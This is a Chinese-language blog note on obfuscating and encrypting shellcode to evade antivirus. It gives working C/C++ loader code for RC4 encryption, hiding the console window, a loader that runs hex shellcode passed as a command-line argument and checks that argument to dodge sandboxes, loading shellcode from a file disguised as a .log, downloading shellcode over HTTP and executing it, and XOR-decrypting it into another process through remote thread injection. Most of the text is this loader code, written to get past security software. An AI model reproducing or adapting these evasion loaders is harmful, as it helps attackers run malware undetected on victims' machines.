shellcode混淆加密(二)
shellcode混淆加密(二)
这篇笔记其实不光是加密的东西,还有学习到的各种免杀的小技巧,关于XOR的部分已经实现了一个小工具,可以看https://www.cnblogs.com/fdxsec/p/17809606.html,这里就不再写了。加密的东西可以套娃的,多加密几次起到一个欺骗杀软的效果。
一、RC4
利用未公开函数进行RC4加解密,下面这种方式利用了advapi32.dll中的SystemFunction033函数,在解密时也要用到SystemFunction032函数,可能会被杀软标记,因此我们可以自实现一下,下面是使用api的加解密。
加密如下:
#include <windows.h>
#include <stdio.h>
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} scdata, key;
int main() {
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
char str_key[] = "helloWorld";
unsigned char shellcode[] = {};
key.Buffer = (PUCHAR)(&str_key);
key.Length = sizeof key;
scdata.Buffer = (PUCHAR)shellcode;
scdata.Length = sizeof shellcode;
SystemFunction033(&scdata, &key);
printf("unsigned char shellcode[] = { ");
for (size_t i = 0; i < scdata.Length; i++) {
if (!(i % 16)) printf("\n ");
printf("0x%02x, ", scdata.Buffer[i]);
if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
}
}
解密如下:
#include <windows.h>
#include <stdio.h>
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} scdata, key;
int main() {
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
char str_key[] = "helloWorld";
unsigned char shellcode[] = {};
key.Buffer = (PUCHAR)(&str_key);
key.Length = sizeof key;
scdata.Buffer = (PUCHAR)shellcode;
scdata.Length = sizeof shellcode;
SystemFunction033(&scdata, &key);
printf("unsigned char shellcode[] = { ");
for (size_t i = 0; i < scdata.Length; i++) {
if (!(i % 16)) printf("\n ");
printf("0x%02x, ", scdata.Buffer[i]);
if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
}
}
自实现的话推荐大佬一篇文章字符串加密与Shellcode 隐藏 | MYZXCG,学习到很多。文中介绍的RC4隐藏域名和IP以及资源文件隐藏shellcode。
二、AES加密
AES加密也可以用api加密,但是api也会被标记,我们可以去github找一些公开的加密库,然后自实现loader,其实在普通的loader加一个解密操作即可,不再演示。
https://github.com/SergeyBel/AES
https://github.com/kokke/tiny-AES-c
https://github.com/WaterJuice/WjCryptLib
https://github.com/mygityf/cipher
三、c++隐藏窗口
1.设置子系统
在源代码中加入下面一行即可隐藏, 推荐该方法
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
2.FreeConsole()方法
源代码中直接调用FreeConsole(); 即可,会闪一下,所以不太推荐。
3.ShowWindow()方法
通过找到窗口标题然后调整显示窗口的大小即可,窗口标题如果没有设置过的话
*// 获取窗口句柄*
HWND hWnd = FindWindow(NULL, "窗口标题");
if (hWnd != NULL) { // 显示窗口
ShowWindow(hWnd, SW_SHOW); }
4.WinMain
我们将主函数改成WinMain,几个参数意义如下:
- hInstance:当前实例的句柄。
- hPrevInstance:先前实例的句柄,在现代的Windows系统中这个参数总是NULL。
- lpCmdLine:命令行参数,是一个指向以空字符结尾的字符串的指针。
- nCmdShow:指定窗口应该以何种形式显示。
#include <Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
// ... 其他初始化工作 ...
// 创建窗口并显示
HWND hWnd = CreateWindow(/* 创建窗口的参数 */);
ShowWindow(hWnd, SW_HIDE); // 将窗口隐藏起来
return 0;
}
这种方法不会闪一下,推荐。
四、shellcode传输之参数化传输
这种好处是可以对抗沙箱,我们在不接受参数的情况下,不会执行我们的shllcode,demo如下
#include <stdio.h>
#include <Windows.h>
void Run(char* code) {
//临时变量
unsigned int char_in_hex;
//整体的shellcode长度
unsigned int tions = strlen(code);
//比如数组长度是892,那么他就是由shellcode[0]到shellcode[891]构成,
//后面加上一个终止符,此时strlen (shellcode) = 892,sizeof (shellcode) = 893,
//所以计算长度的时候需要 a= (sizeof(shellcode) -1),
//因为每两个字节为一组,所以我们在分配内存时,需要进行除二操作,
//比如bytes = (sizeof(shellcode) - 1)/2 或者 bytes = strlen(shellcode)/2
unsigned int memory_alloc = strlen(code) / 2;
//还原shellcode,减少开销
for (unsigned int i = 0; i < tions - 1; i++) {
sscanf(code + 2 * i, "%2X", &char_in_hex);
code[i] = (char)char_in_hex;
};
//申请内存
LPVOID scode = VirtualAlloc(NULL, sizeof(memory_alloc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//拷贝到内存
CopyMemory(scode, code, memory_alloc);
HANDLE hThread;
DWORD dwThreadId;
//创建线程
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)scode, NULL, NULL, &dwThreadId);
// 等待线程
WaitForSingleObject(hThread, INFINITE);
}
int main(int argc, char* argv[]) {
//接收hex编码的shellcode
char* ccode = argv[1];
//简单进行参数判断, 反沙箱
if (argc !=2)
{
printf("2222222");
exit;
}
else
{
Run(ccode);
}
}
五、shellcode传输之文件读取
可以起到分离的效果。
从文件中读取shellcode,这里有一个小技巧,我们可以将文件命名为xxx.log,前缀看自己的机器,可以达到一个隐蔽的效果。
CreateFile 打开文件
HANDLE CreateFileA(
LPCSTR lpFileName, // 要打开的文件的名字
DWORD dwDesiredAccess, // 允许对设备的访问权限,GENERIC_READ 为读权限
DWORD dwShareMode, // 是否允许对文件进行共享访问 0 为不共享
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 安全描述符
DWORD dwCreationDisposition, // 动作 OPEN_EXISTING 表示打开已存在文件
DWORD dwFlagsAndAttributes, // 属性 FILE_ATTRIBUTE_NORMAL 为默认属性
HANDLE hTemplateFile // 默认为 NULL 即可
);
GetFileSize 文件大小
DWORD GetFileSize(
HANDLE hFile, // 文件句柄
LPDWORD lpFileSizeHigh // 文件返回的大小
);
ReadFile 读取文件
BOOL ReadFile(
HANDLE hFile, // 文件句柄
LPVOID lpBuffer, // 接受数据用的 buffer
DWORD nNumberOfBytesToRead, // 要读取的字节数
LPDWORD lpNumberOfBytesRead, // 实际读取的字节数
LPOVERLAPPED lpOverlapped // OVERLAPPED 结构 一般设为 NULL
);
最终代码
我们先通过CreatFile来打开文件,通过GetFileSize来获取文件大小用来分配空间,然后通过ReadFile来读取文件,并且将读取的内容存储到内存中。
#include <windows.h>
int main()
{
DWORD dwSize;
DWORD dwReadSize;
HANDLE hFileNew;
LPCWSTR file = L"C:\\Users\\xxx\\Desktop\\file";
hFileNew = CreateFile(file, GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFileNew == INVALID_HANDLE_VALUE)
{
return 0;
}
dwSize = GetFileSize(hFileNew, NULL);
void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL);
((void(*)())exec)();
}
六、shellcode传输之通过http远程加载
我们通过http server来远程加载其实也起到了一个分离免杀的效果,下面是我们的demo
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
int main() {
void* exec;
int payload_len = 4096;
LPSTR url = (char*)"http://127.0.0.1:8000/calc_shellcode.bin";
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
//申请执行的空间
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//打开一个与互联网的连接
session = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
//与url建立连接
conn = InternetOpenUrlA(session, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
//读取文件,并保存到申请的空间中
InternetReadFile(conn, exec, payload_len, &nread);
((void(*)())exec)();
InternetCloseHandle(conn);
InternetCloseHandle(session);
}
七、内存解密
接下来这段代码我们会向目标进程ID分配内存空间,然后将shellcode逐位解密然后逐位放到进程空间,然后CreateRemoteThread 在目标进程中创建一个远程线程,并执行分配的内存空间。
#include<stdio.h>
#include<Windows.h>
unsigned char shellcode[] = { };
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Input progress_id");
}
else
{
DWORD progress_id = atoi(argv[1]);
HANDLE hProgress = OpenProcess(PROCESS_ALL_ACCESS, false, progress_id);
if (hProgress) {
LPVOID lp = VirtualAllocEx(hProgress, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lp) {
printf("Allocted base address is 0x%p/n", lp);
int n = 0;
for (int i = 0; i < sizeof(shellcode); i++) {
char decrypted_char = shellcode[i] ^ 0x35;
if (WriteProcessMemory(hProgress, (LPVOID)((ULONG_PTR)lp + i), &decrypted_char, 1, NULL)) {
printf("BYTE write successful\n");
}
}
CreateRemoteThread(hProgress, NULL, 0, (LPTHREAD_START_ROUTINE)lp, NULL, 0, NULL);
printf("OK");
}
}
}
}
其实我们在shellcode免杀(一) - 疯癫兄 - 博客园 (cnblogs.com)中讨论的sgn也是属于该类。